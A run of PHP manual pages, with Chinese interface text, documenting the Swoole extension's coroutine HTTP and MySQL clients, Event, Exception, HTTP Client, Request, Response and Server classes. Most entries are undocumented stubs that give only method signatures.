本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::set
  • Swoole\Coroutine\Http\Client::setData ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setCookies

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setCookies — Description

说明

public Swoole\Coroutine\Http\Client::setCookies(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::setCookies
  • Swoole\Coroutine\Http\Client::setDefer ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setData

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setData — Description

说明

public Swoole\Coroutine\Http\Client::setData(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::setData
  • Swoole\Coroutine\Http\Client::setHeaders ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setDefer — Description

说明

public Swoole\Coroutine\Http\Client::setDefer(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::setDefer
  • Swoole\Coroutine\Http\Client::setMethod ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setHeaders

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setHeaders — Description

说明

public Swoole\Coroutine\Http\Client::setHeaders(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::setHeaders
  • Swoole\Coroutine\MySQL::close ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::setMethod

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setMethod — Description

说明

public Swoole\Coroutine\Http\Client::setMethod(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::setMethod
  • Swoole\Coroutine\MySQL::connect ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::close — Description

说明

public Swoole\Coroutine\MySQL::close(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::close
  • Swoole\Coroutine\MySQL::__construct ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::connect

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::connect — Description

说明

public Swoole\Coroutine\MySQL::connect(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::connect
  • Swoole\Coroutine\MySQL::__destruct ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::__construct — Description

说明

public Swoole\Coroutine\MySQL::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::__construct
  • Swoole\Coroutine\MySQL::getDefer ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::__destruct — Description

说明

public Swoole\Coroutine\MySQL::__destruct(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::__destruct
  • Swoole\Coroutine\MySQL::query ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::getDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::getDefer — Description

说明

public Swoole\Coroutine\MySQL::getDefer(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::getDefer
  • Swoole\Coroutine\MySQL::recv ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::query

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::query — Description

说明

public Swoole\Coroutine\MySQL::query(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::query
  • Swoole\Coroutine\MySQL::setDefer ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::recv — Description

说明

public Swoole\Coroutine\MySQL::recv(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::recv
  • Swoole\Coroutine::getuid ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\MySQL::setDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::setDefer — Description

说明

public Swoole\Coroutine\MySQL::setDefer(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\MySQL::setDefer
  • Swoole\Coroutine::resume ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::getuid

(PECL swoole >= 2.0.0)

Swoole\Coroutine::getuid — Description

说明

public static Swoole\Coroutine::getuid(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine::getuid
  • Swoole\Coroutine::suspend ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::resume

(PECL swoole >= 2.0.0)

Swoole\Coroutine::resume — Description

说明

public static Swoole\Coroutine::resume(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine::resume
  • Swoole\Event ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::suspend

(PECL swoole >= 2.0.0)

Swoole\Coroutine::suspend — Description

说明

public static Swoole\Coroutine::suspend(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Event class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Event {
/* 方法 */
public static add(
int $fd,
callable $read_callback,
callable $write_callback = ?,
string $events = ?
): bool
public static defer(mixed $callback): void
public static del(string $fd): bool
public static exit(): void
public static set(
int $fd,
string $read_callback = ?,
string $write_callback = ?,
string $events = ?
): bool
public static wait(): void
public static write(string $fd, string $data): void
}

Table of Contents

  • Swoole\Event::add — Add new callback functions of a socket into the EventLoop.
  • Swoole\Event::defer — Add a callback function to the next event loop.
  • Swoole\Event::del — Remove all event callback functions of a socket.
  • Swoole\Event::exit — Exit the eventloop, only available at client side.
  • Swoole\Event::set — Update the event callback functions of a socket.
  • Swoole\Event::wait — Description
  • Swoole\Event::write — Write data to the socket.

User Contributed Notes

There are no user contributed notes for this page.


Add new callback functions of a socket into the EventLoop.

  • ? Swoole\Event
  • Swoole\Event::defer ?
  • PHP Manual
  • Swoole\Event
  • Add new callback functions of a socket into the EventLoop.

Swoole\Event::add

(PECL swoole >= 1.9.0)

Swoole\Event::add — Add new callback functions of a socket into the EventLoop.

说明

public static Swoole\Event::add(
int $fd,
callable $read_callback,
callable $write_callback = ?,
string $events = ?
): bool

参数

fd

read_callback

write_callback

events

返回值

User Contributed Notes

There are no user contributed notes for this page.


Add a callback function to the next event loop.

  • ? Swoole\Event::add
  • Swoole\Event::del ?
  • PHP Manual
  • Swoole\Event
  • Add a callback function to the next event loop.

Swoole\Event::defer

(PECL swoole >= 1.9.0)

Swoole\Event::defer — Add a callback function to the next event loop.

说明

public static Swoole\Event::defer(mixed $callback): void

参数

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Remove all event callback functions of a socket.

  • ? Swoole\Event::defer
  • Swoole\Event::exit ?
  • PHP Manual
  • Swoole\Event
  • Remove all event callback functions of a socket.

Swoole\Event::del

(PECL swoole >= 1.9.0)

Swoole\Event::del — Remove all event callback functions of a socket.

说明

public static Swoole\Event::del(string $fd): bool

参数

fd

返回值

User Contributed Notes

There are no user contributed notes for this page.


Exit the eventloop, only available at client side.

  • ? Swoole\Event::del
  • Swoole\Event::set ?
  • PHP Manual
  • Swoole\Event
  • Exit the eventloop, only available at client side.

Swoole\Event::exit

(PECL swoole >= 1.9.0)

Swoole\Event::exit — Exit the eventloop, only available at client side.

说明

public static Swoole\Event::exit(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Update the event callback functions of a socket.

  • ? Swoole\Event::exit
  • Swoole\Event::wait ?
  • PHP Manual
  • Swoole\Event
  • Update the event callback functions of a socket.

Swoole\Event::set

(PECL swoole >= 1.9.0)

Swoole\Event::set — Update the event callback functions of a socket.

说明

public static Swoole\Event::set(
int $fd,
string $read_callback = ?,
string $write_callback = ?,
string $events = ?
): bool

参数

fd

read_callback

write_callback

events

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Event::set
  • Swoole\Event::write ?
  • PHP Manual
  • Swoole\Event
  • Description

Swoole\Event::wait

(PECL swoole >= 1.9.0)

Swoole\Event::wait — Description

说明

public static Swoole\Event::wait(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

Mohamed Ramadan 05-Oct-2020 12:54
you can defined any function and didn't return any response till you end server
// write hello in terminal every 1 second and didnt stop
Swoole\Timer::tick(1000, function () {
    echo "hello\n";
});

Swoole\Event::wait();


Write data to the socket.

  • ? Swoole\Event::wait
  • Swoole\Exception ?
  • PHP Manual
  • Swoole\Event
  • Write data to the socket.

Swoole\Event::write

(PECL swoole >= 1.9.0)

Swoole\Event::write — Write data to the socket.

说明

public static Swoole\Event::write(string $fd, string $data): void

参数

fd

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Exception class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Exception extends Exception implements Throwable {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
}

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Client class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Http\Client {
/* 属性 */
public $errCode;
public $sock;
/* 方法 */
public addFile(
string $path,
string $name,
string $type = ?,
string $filename = ?,
string $offset = ?
): void
public close(): void
public __destruct(): void
public download(
string $path,
string $file,
callable $callback,
int $offset = ?
): void
public execute(string $path, string $callback): void
public get(string $path, callable $callback): void
public isConnected(): bool
public on(string $event_name, callable $callback): void
public post(string $path, string $data, callable $callback): void
public push(string $data, string $opcode = ?, string $finish = ?): void
public set(array $settings): void
public setCookies(array $cookies): void
public setData(string $data): ReturnType
public setHeaders(array $headers): void
public setMethod(string $method): void
public upgrade(string $path, string $callback): void
}

属性

errCode

sock

Table of Contents

  • Swoole\Http\Client::addFile — Add a file to the post form.
  • Swoole\Http\Client::close — Close the http connection.
  • Swoole\Http\Client::__construct — Construct the async HTTP client.
  • Swoole\Http\Client::__destruct — Destruct the HTTP client.
  • Swoole\Http\Client::download — Download a file from the remote server.
  • Swoole\Http\Client::execute — Send the HTTP request after setting the parameters.
  • Swoole\Http\Client::get — Send GET http request to the remote server.
  • Swoole\Http\Client::isConnected — Check if the HTTP connection is connected.
  • Swoole\Http\Client::on — Register callback function by event name.
  • Swoole\Http\Client::post — Send POST http request to the remote server.
  • Swoole\Http\Client::push — Push data to websocket client.
  • Swoole\Http\Client::set — Update the HTTP client paramters.
  • Swoole\Http\Client::setCookies — Set the http request cookies.
  • Swoole\Http\Client::setData — Set the HTTP request body data.
  • Swoole\Http\Client::setHeaders — Set the HTTP request headers.
  • Swoole\Http\Client::setMethod — Set the HTTP request method.
  • Swoole\Http\Client::upgrade — Upgrade to websocket protocol.

User Contributed Notes

There are no user contributed notes for this page.


Add a file to the post form.

  • ? Swoole\Http\Client
  • Swoole\Http\Client::close ?
  • PHP Manual
  • Swoole\Http\Client
  • Add a file to the post form.

Swoole\Http\Client::addFile

(PECL swoole >= 1.9.0)

Swoole\Http\Client::addFile — Add a file to the post form.

说明

public Swoole\Http\Client::addFile(
string $path,
string $name,
string $type = ?,
string $filename = ?,
string $offset = ?
): void

参数

path

name

type

filename

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Close the http connection.

  • ? Swoole\Http\Client::addFile
  • Swoole\Http\Client::__construct ?
  • PHP Manual
  • Swoole\Http\Client
  • Close the http connection.

Swoole\Http\Client::close

(PECL swoole >= 1.9.0)

Swoole\Http\Client::close — Close the http connection.

说明

public Swoole\Http\Client::close(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Construct the async HTTP client.

  • ? Swoole\Http\Client::close
  • Swoole\Http\Client::__destruct ?
  • PHP Manual
  • Swoole\Http\Client
  • Construct the async HTTP client.

Swoole\Http\Client::__construct

(PECL swoole >= 1.9.0)

Swoole\Http\Client::__construct — Construct the async HTTP client.

说明

public Swoole\Http\Client::__construct(string $host, string $port = ?, bool $ssl = ?)

参数

host

The hostname of the remote host.

port

The port number of the remote host.

ssl

Whether to enable SSL.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the HTTP client.

  • ? Swoole\Http\Client::__construct
  • Swoole\Http\Client::download ?
  • PHP Manual
  • Swoole\Http\Client
  • Destruct the HTTP client.

Swoole\Http\Client::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Client::__destruct — Destruct the HTTP client.

说明

public Swoole\Http\Client::__destruct(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Download a file from the remote server.

  • ? Swoole\Http\Client::__destruct
  • Swoole\Http\Client::execute ?
  • PHP Manual
  • Swoole\Http\Client
  • Download a file from the remote server.

Swoole\Http\Client::download

(PECL swoole >= 1.9.0)

Swoole\Http\Client::download — Download a file from the remote server.

说明

public Swoole\Http\Client::download(
string $path,
string $file,
callable $callback,
int $offset = ?
): void

参数

path

file

callback

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send the HTTP request after setting the parameters.

  • ? Swoole\Http\Client::download
  • Swoole\Http\Client::get ?
  • PHP Manual
  • Swoole\Http\Client
  • Send the HTTP request after setting the parameters.

Swoole\Http\Client::execute

(PECL swoole >= 1.9.0)

Swoole\Http\Client::execute — Send the HTTP request after setting the parameters.

说明

public Swoole\Http\Client::execute(string $path, string $callback): void

参数

path

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send GET http request to the remote server.

  • ? Swoole\Http\Client::execute
  • Swoole\Http\Client::isConnected ?
  • PHP Manual
  • Swoole\Http\Client
  • Send GET http request to the remote server.

Swoole\Http\Client::get

(PECL swoole >= 1.9.0)

Swoole\Http\Client::get — Send GET http request to the remote server.

说明

public Swoole\Http\Client::get(string $path, callable $callback): void

参数

path

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if the HTTP connection is connected.

  • ? Swoole\Http\Client::get
  • Swoole\Http\Client::on ?
  • PHP Manual
  • Swoole\Http\Client
  • Check if the HTTP connection is connected.

Swoole\Http\Client::isConnected

(PECL swoole >= 1.9.0)

Swoole\Http\Client::isConnected — Check if the HTTP connection is connected.

说明

public Swoole\Http\Client::isConnected(): bool

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Register callback function by event name.

  • ? Swoole\Http\Client::isConnected
  • Swoole\Http\Client::post ?
  • PHP Manual
  • Swoole\Http\Client
  • Register callback function by event name.

Swoole\Http\Client::on

(PECL swoole >= 1.9.0)

Swoole\Http\Client::on — Register callback function by event name.

说明

public Swoole\Http\Client::on(string $event_name, callable $callback): void

参数

event_name

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send POST http request to the remote server.

  • ? Swoole\Http\Client::on
  • Swoole\Http\Client::push ?
  • PHP Manual
  • Swoole\Http\Client
  • Send POST http request to the remote server.

Swoole\Http\Client::post

(PECL swoole >= 1.9.0)

Swoole\Http\Client::post — Send POST http request to the remote server.

说明

public Swoole\Http\Client::post(string $path, string $data, callable $callback): void

参数

path

data

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Push data to websocket client.

  • ? Swoole\Http\Client::post
  • Swoole\Http\Client::set ?
  • PHP Manual
  • Swoole\Http\Client
  • Push data to websocket client.

Swoole\Http\Client::push

(PECL swoole >= 1.9.0)

Swoole\Http\Client::push — Push data to websocket client.

说明

public Swoole\Http\Client::push(string $data, string $opcode = ?, string $finish = ?): void

参数

data

opcode

finish

返回值

User Contributed Notes

There are no user contributed notes for this page.


Update the HTTP client paramters.

  • ? Swoole\Http\Client::push
  • Swoole\Http\Client::setCookies ?
  • PHP Manual
  • Swoole\Http\Client
  • Update the HTTP client paramters.

Swoole\Http\Client::set

(PECL swoole >= 1.9.0)

Swoole\Http\Client::set — Update the HTTP client paramters.

说明

public Swoole\Http\Client::set(array $settings): void

参数

settings

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the http request cookies.

  • ? Swoole\Http\Client::set
  • Swoole\Http\Client::setData ?
  • PHP Manual
  • Swoole\Http\Client
  • Set the http request cookies.

Swoole\Http\Client::setCookies

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setCookies — Set the http request cookies.

说明

public Swoole\Http\Client::setCookies(array $cookies): void

参数

cookies

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP request body data.

  • ? Swoole\Http\Client::setCookies
  • Swoole\Http\Client::setHeaders ?
  • PHP Manual
  • Swoole\Http\Client
  • Set the HTTP request body data.

Swoole\Http\Client::setData

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setData — Set the HTTP request body data.

说明

public Swoole\Http\Client::setData(string $data): ReturnType

The HTTP method will be changed to be POST.

参数

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP request headers.

  • ? Swoole\Http\Client::setData
  • Swoole\Http\Client::setMethod ?
  • PHP Manual
  • Swoole\Http\Client
  • Set the HTTP request headers.

Swoole\Http\Client::setHeaders

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setHeaders — Set the HTTP request headers.

说明

public Swoole\Http\Client::setHeaders(array $headers): void

参数

headers

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP request method.

  • ? Swoole\Http\Client::setHeaders
  • Swoole\Http\Client::upgrade ?
  • PHP Manual
  • Swoole\Http\Client
  • Set the HTTP request method.

Swoole\Http\Client::setMethod

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setMethod — Set the HTTP request method.

说明

public Swoole\Http\Client::setMethod(string $method): void

参数

method

返回值

User Contributed Notes

There are no user contributed notes for this page.


Upgrade to websocket protocol.

  • ? Swoole\Http\Client::setMethod
  • Swoole\Http\Request ?
  • PHP Manual
  • Swoole\Http\Client
  • Upgrade to websocket protocol.

Swoole\Http\Client::upgrade

(PECL swoole >= 1.9.0)

Swoole\Http\Client::upgrade — Upgrade to websocket protocol.

说明

public Swoole\Http\Client::upgrade(string $path, string $callback): void

参数

path

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Request class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Http\Request {
/* 方法 */
public __destruct(): void
public rawcontent(): string
}

Table of Contents

  • Swoole\Http\Request::__destruct — Destruct the HTTP request.
  • Swoole\Http\Request::rawcontent — Get the raw HTTP POST body.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the HTTP request.

  • ? Swoole\Http\Request
  • Swoole\Http\Request::rawcontent ?
  • PHP Manual
  • Swoole\Http\Request
  • Destruct the HTTP request.

Swoole\Http\Request::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Request::__destruct — Destruct the HTTP request.

说明

public Swoole\Http\Request::__destruct(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the raw HTTP POST body.

  • ? Swoole\Http\Request::__destruct
  • Swoole\Http\Response ?
  • PHP Manual
  • Swoole\Http\Request
  • Get the raw HTTP POST body.

Swoole\Http\Request::rawcontent

(PECL swoole >= 1.9.0)

Swoole\Http\Request::rawcontent — Get the raw HTTP POST body.

说明

public Swoole\Http\Request::rawcontent(): string

This method is used for the POST data which isn't in the form of `application/x-www-form-urlencoded`.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Response class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Http\Response {
/* 方法 */
public cookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): string
public __destruct(): void
public end(string $content = ?): void
public gzip(string $compress_level = ?): ReturnType
public header(string $key, string $value, string $ucwords = ?): void
public initHeader(): ReturnType
public rawcookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): ReturnType
public sendfile(string $filename, int $offset = ?): ReturnType
public status(string $http_code): ReturnType
public write(string $content): void
}

Table of Contents

  • Swoole\Http\Response::cookie — Set the cookies of the HTTP response.
  • Swoole\Http\Response::__destruct — Destruct the HTTP response.
  • Swoole\Http\Response::end — Send data for the HTTP request and finish the response.
  • Swoole\Http\Response::gzip — Enable the gzip of response content.
  • Swoole\Http\Response::header — Set the HTTP response headers.
  • Swoole\Http\Response::initHeader — Init the HTTP response header.
  • Swoole\Http\Response::rawcookie — Set the raw cookies to the HTTP response.
  • Swoole\Http\Response::sendfile — Send file through the HTTP response.
  • Swoole\Http\Response::status — Set the status code of the HTTP response.
  • Swoole\Http\Response::write — Append HTTP body content to the HTTP response.

User Contributed Notes

There are no user contributed notes for this page.


Set the cookies of the HTTP response.

  • ? Swoole\Http\Response
  • Swoole\Http\Response::__destruct ?
  • PHP Manual
  • Swoole\Http\Response
  • Set the cookies of the HTTP response.

Swoole\Http\Response::cookie

(PECL swoole >= 1.9.0)

Swoole\Http\Response::cookie — Set the cookies of the HTTP response.

说明

public Swoole\Http\Response::cookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): string

参数

name

value

expires

path

domain

secure

httponly

返回值

User Contributed Notes

There are no user contributed notes for this page.


Destruct the HTTP response.

  • ? Swoole\Http\Response::cookie
  • Swoole\Http\Response::end ?
  • PHP Manual
  • Swoole\Http\Response
  • Destruct the HTTP response.

Swoole\Http\Response::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Response::__destruct — Destruct the HTTP response.

说明

public Swoole\Http\Response::__destruct(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send data for the HTTP request and finish the response.

  • ? Swoole\Http\Response::__destruct
  • Swoole\Http\Response::gzip ?
  • PHP Manual
  • Swoole\Http\Response
  • Send data for the HTTP request and finish the response.

Swoole\Http\Response::end

(PECL swoole >= 1.9.0)

Swoole\Http\Response::end — Send data for the HTTP request and finish the response.

说明

public Swoole\Http\Response::end(string $content = ?): void

参数

content

返回值

User Contributed Notes

There are no user contributed notes for this page.


Enable the gzip of response content.

  • ? Swoole\Http\Response::end
  • Swoole\Http\Response::header ?
  • PHP Manual
  • Swoole\Http\Response
  • Enable the gzip of response content.

Swoole\Http\Response::gzip

(PECL swoole >= 1.9.0)

Swoole\Http\Response::gzip — Enable the gzip of response content.

说明

public Swoole\Http\Response::gzip(string $compress_level = ?): ReturnType

The header about Content-Encoding will be added automatically.

参数

compress_level

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the HTTP response headers.

  • ? Swoole\Http\Response::gzip
  • Swoole\Http\Response::initHeader ?
  • PHP Manual
  • Swoole\Http\Response
  • Set the HTTP response headers.

Swoole\Http\Response::header

(PECL swoole >= 1.9.0)

Swoole\Http\Response::header — Set the HTTP response headers.

说明

public Swoole\Http\Response::header(string $key, string $value, string $ucwords = ?): void

参数

key

value

ucwords

返回值

User Contributed Notes

There are no user contributed notes for this page.


Init the HTTP response header.

  • ? Swoole\Http\Response::header
  • Swoole\Http\Response::rawcookie ?
  • PHP Manual
  • Swoole\Http\Response
  • Init the HTTP response header.

Swoole\Http\Response::initHeader

(PECL swoole >= 1.9.0)

Swoole\Http\Response::initHeader — Init the HTTP response header.

说明

public Swoole\Http\Response::initHeader(): ReturnType

Init the HTTP response header.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the raw cookies to the HTTP response.

  • ? Swoole\Http\Response::initHeader
  • Swoole\Http\Response::sendfile ?
  • PHP Manual
  • Swoole\Http\Response
  • Set the raw cookies to the HTTP response.

Swoole\Http\Response::rawcookie

(PECL swoole >= 1.9.0)

Swoole\Http\Response::rawcookie — Set the raw cookies to the HTTP response.

说明

public Swoole\Http\Response::rawcookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): ReturnType

参数

name

value

expires

path

domain

secure

httponly

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send file through the HTTP response.

  • ? Swoole\Http\Response::rawcookie
  • Swoole\Http\Response::status ?
  • PHP Manual
  • Swoole\Http\Response
  • Send file through the HTTP response.

Swoole\Http\Response::sendfile

(PECL swoole >= 1.9.0)

Swoole\Http\Response::sendfile — Send file through the HTTP response.

说明

public Swoole\Http\Response::sendfile(string $filename, int $offset = ?): ReturnType

Send file through the HTTP response.

参数

filename

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the status code of the HTTP response.

  • ? Swoole\Http\Response::sendfile
  • Swoole\Http\Response::write ?
  • PHP Manual
  • Swoole\Http\Response
  • Set the status code of the HTTP response.

Swoole\Http\Response::status

(PECL swoole >= 1.9.0)

Swoole\Http\Response::status — Set the status code of the HTTP response.

说明

public Swoole\Http\Response::status(string $http_code): ReturnType

Set the status code of the HTTP response.

参数

http_code

返回值

User Contributed Notes

There are no user contributed notes for this page.


Append HTTP body content to the HTTP response.

  • ? Swoole\Http\Response::status
  • Swoole\Http\Server ?
  • PHP Manual
  • Swoole\Http\Response
  • Append HTTP body content to the HTTP response.

Swoole\Http\Response::write

(PECL swoole >= 1.9.0)

Swoole\Http\Response::write — Append HTTP body content to the HTTP response.

说明

public Swoole\Http\Response::write(string $content): void

Append HTTP body content to the HTTP response.

参数

content

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Http\Server class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Http\Server extends Swoole\Server {
/* 方法 */
public on(string $event_name, callable $callback): void
public start(): void
/* 继承的方法 */
public Swoole\Server::addlistener(string $host, int $port, string $socket_type): void
public Swoole\Server::addProcess(swoole_process $process): bool
public Swoole\Server::after(int $after_time_ms, callable $callback, string $param = ?): ReturnType
public Swoole\Server::bind(int $fd, int $uid): bool
public Swoole\Server::clearTimer(int $timer_id): void
swoole_timer_clear(int $timer_id): void
public Swoole\Server::close(int $fd, bool $reset = ?): bool
public Swoole\Server::confirm(int $fd): bool
public Swoole\Server::connection_info(int $fd, int $reactor_id = ?): array
public Swoole\Server::connection_list(int $start_fd, int $pagesize = ?): array
public Swoole\Server::defer(callable $callback): void
public Swoole\Server\Port::__destruct(): void
public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType
public Swoole\Server\Port::set(array $settings): void
public Swoole\Server::exist(int $fd): bool
public Swoole\Server::finish(string $data): void
public Swoole\Server::getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array
public Swoole\Server::getClientList(int $start_fd, int $pagesize = ?): array
public Swoole\Server::getLastError(): int
public Swoole\Server::heartbeat(bool $if_close_connection): mixed
public Swoole\Server::listen(string $host, int $port, string $socket_type): bool
public Swoole\Server::on(string $event_name, callable $callback): void
public Swoole\Server::pause(int $fd): void
public Swoole\Server::protect(int $fd, bool $is_protected = ?): void
public Swoole\Server::reload(): bool
public Swoole\Server::resume(int $fd): void
public Swoole\Server::send(int $fd, string $data, int $reactor_id = ?): bool
public Swoole\Server::sendfile(int $fd, string $filename, int $offset = ?): bool
public Swoole\Server::sendMessage(int $worker_id, string $data): bool
public Swoole\Server::sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool
public Swoole\Server::sendwait(int $fd, string $data): bool
public Swoole\Server::set(array $settings): ReturnType
public Swoole\Server::shutdown(): void
public Swoole\Server::start(): void
public Swoole\Server::stats(): array
public Swoole\Server::stop(int $worker_id = ?): bool
public Swoole\Server::task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed
